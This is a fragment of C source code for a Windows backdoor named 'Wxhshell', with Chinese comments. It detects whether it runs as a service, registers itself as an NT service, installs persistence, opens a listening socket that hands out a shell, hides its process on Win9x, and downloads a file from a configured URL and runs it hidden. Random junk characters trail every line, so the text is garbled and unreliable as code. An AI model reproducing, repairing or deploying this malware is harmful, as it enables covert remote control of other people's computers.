DWORD AffinityMask; ~+<xFi
DWORD BasePriority; U8K&Q4^
ULONG UniqueProcessId; 6<s(e_5f
ULONG InheritedFromUniqueProcessId; 7^I$%o 1g
} PROCESS_BASIC_INFORMATION; S*CLt
x\`RW3 K
PROCNTQSIP NtQueryInformationProcess; |rxKCzjm
mC:X4l]5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A3"1D
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; umm \r&]A
*"ykTqa
HANDLE hProcess; Ep<!zO|
PROCESS_BASIC_INFORMATION pbi; /1 US,
4\1wyN /}M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wrQydI
if(NULL == hInst ) return 0; ]M~8@K
*f `s%&Y]s
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bk7^%O>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &gWMl`3^*!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @TA8^ND
3q#"i&
if (!NtQueryInformationProcess) return 0; z [qdmx^
?-8y4
Ex
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "J P{Q
if(!hProcess) return 0; >HcYVp~G
Mu'^OX82
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +MNSZLP]
Lf^5Eo/
5A
CloseHandle(hProcess); B:O+*3j
'!wPnYT@D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l5=u3r9WYC
if(hProcess==NULL) return 0; GB<R7J
zP:~O
HMODULE hMod; e{fZ}`=7y
char procName[255]; W>Mse[6`c
unsigned long cbNeeded; \;-=ODC
J4gI=@e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *|];f#^9
\|eJJC
CloseHandle(hProcess); r7Nu>[r5
j6tP)f^tD
if(strstr(procName,"services")) return 1; // 以服务启动 m\6SG' X
0
&*P}U}Uc
return 0; // 注册表启动 m x3}m?WQ
} [as-3&5S
oMh~5
W
// 主模块 0\5M^:8i3
int StartWxhshell(LPSTR lpCmdLine) Job/@> ;
{ M8 iEVJ
SOCKET wsl; >.J'L5
x$
BOOL val=TRUE; W[R]^2QAG
int port=0; $zC6(C(l
struct sockaddr_in door; 09R,'QJ|
Lzh9DYU6
if(wscfg.ws_autoins) Install(); <ZigCo w
M[h1>}$Lz
port=atoi(lpCmdLine); ,^.S0;D,Z
#04{(G|~+E
if(port<=0) port=wscfg.ws_port; ,'FD}yw4v
$Q8P@L)[
WSADATA data; k(zs>kiP
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GhqgRzX
*-9# /Cp
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T$H2'tK|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rGTWcJ
door.sin_family = AF_INET; 3AvVU]@&Z@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); PqT"jOF]n
door.sin_port = htons(port); 0fnZR$PB
<9@&oN+T
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "0|BoG
closesocket(wsl); m9#}X_&x
return 1; X,>(Y8
} U:qF/%w
?N4A9W9
if(listen(wsl,2) == INVALID_SOCKET) { ]dd[WHA
closesocket(wsl);
LsQ s:O
return 1; $!a?i@
} >W8bWQ^fK
Wxhshell(wsl); {V[Ha~b%*
WSACleanup(); ;US83%*
dKU5;
return 0; cICHRp&&
z8b
_ _%Br
} +``>,O6
q z=yMIy=
// 以NT服务方式启动 b![t6-f^z
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U8YO0}_z
{ Nt HbwU,
DWORD status = 0; kfVZ=`p}
DWORD specificError = 0xfffffff; 0;vtdM[_
)nhfkW=e
serviceStatus.dwServiceType = SERVICE_WIN32; 6yN"
l
Q7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; %h0D)6j
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Am#m>^!qb
serviceStatus.dwWin32ExitCode = 0; BpH|/7
serviceStatus.dwServiceSpecificExitCode = 0; e:qo_eSC^-
serviceStatus.dwCheckPoint = 0; 0HjJaML
serviceStatus.dwWaitHint = 0; ab{;Z5O
!{IC[g n
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jUYF.K&
if (hServiceStatusHandle==0) return; ?4:rP@
LxB&7
status = GetLastError(); l x7Kw%
if (status!=NO_ERROR) fzl=d_
{ 3KtAK9PT
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?3[tJreVj
serviceStatus.dwCheckPoint = 0; pXssh
serviceStatus.dwWaitHint = 0; Dft4isyt^
serviceStatus.dwWin32ExitCode = status; %Hh3u$Y,
serviceStatus.dwServiceSpecificExitCode = specificError; o5>/}wIf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /n(9&'H<
return; -=}b;Kf-
} rWJ*e Y
\kxh#{$z?
serviceStatus.dwCurrentState = SERVICE_RUNNING; TNx _Rc}
serviceStatus.dwCheckPoint = 0; \F[n`C"Is
serviceStatus.dwWaitHint = 0; ?k"0w)8
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7 xUE,)?
} 3Mw}R6g@#
.M8=^,h^K
// 处理NT服务事件,比如:启动、停止 B0v|{C
VOID WINAPI NTServiceHandler(DWORD fdwControl) fO#?k<p
{ ,pn)>
switch(fdwControl) 9MT3T?IS
{ rmoJ
=.'
case SERVICE_CONTROL_STOP: #7+]%;h
serviceStatus.dwWin32ExitCode = 0; ^=k{~
serviceStatus.dwCurrentState = SERVICE_STOPPED; A$Wx#r7)
serviceStatus.dwCheckPoint = 0; 0EyAMu
serviceStatus.dwWaitHint = 0; 691G15
{ =9(tsB gTX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X\kjAMuW/*
} NK~PcdGl
return; k9l^6#<?
case SERVICE_CONTROL_PAUSE: *=TYVM9
serviceStatus.dwCurrentState = SERVICE_PAUSED; xLZ bU4
break; zb>;?et;)
case SERVICE_CONTROL_CONTINUE: s*f1x N<
serviceStatus.dwCurrentState = SERVICE_RUNNING; wsqLXZI
break; <iRWd
case SERVICE_CONTROL_INTERROGATE: X3AwM%,!
break; zLL)VFCJW
}; r( M[8@Nz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rfX=*mjt
} of=ql
vffH
// 标准应用程序主函数 Y!M~#oqio
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @O'I)(To
{ bTiBmS
>d97l&W
// 获取操作系统版本 J)#S-ZB+'k
OsIsNt=GetOsVer(); ac|/Y$\w
GetModuleFileName(NULL,ExeFile,MAX_PATH); .wD>Gs{sH[
4j^bpfb,
// 从命令行安装 l:)S 3
if(strpbrk(lpCmdLine,"iI")) Install(); bfhz?,b
x df?nt
// 下载执行文件 7x(v?
if(wscfg.ws_downexe) { .D!WO
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w]}f6VlEl
WinExec(wscfg.ws_filenam,SW_HIDE); ^(DL+r,
} J
B(<.E2
5~Q Tg
if(!OsIsNt) { 1 )'Iu`k/
// 如果时win9x,隐藏进程并且设置为注册表启动 [EER4@_
HideProc(); 7/
t:YBR
StartWxhshell(lpCmdLine); {<!hlB
} %P;[fJ
`G
else QAi1,+y]7w
if(StartFromService()) u3ST;
// 以服务方式启动 ^;4YZwW5w
StartServiceCtrlDispatcher(DispatchTable); a5)JkC
else 1U'ZVJ5bpK
// 普通方式启动 fq=:h\\G
StartWxhshell(lpCmdLine); \qB6TiB/
~@@
Z|w
return 0; !UVk9
}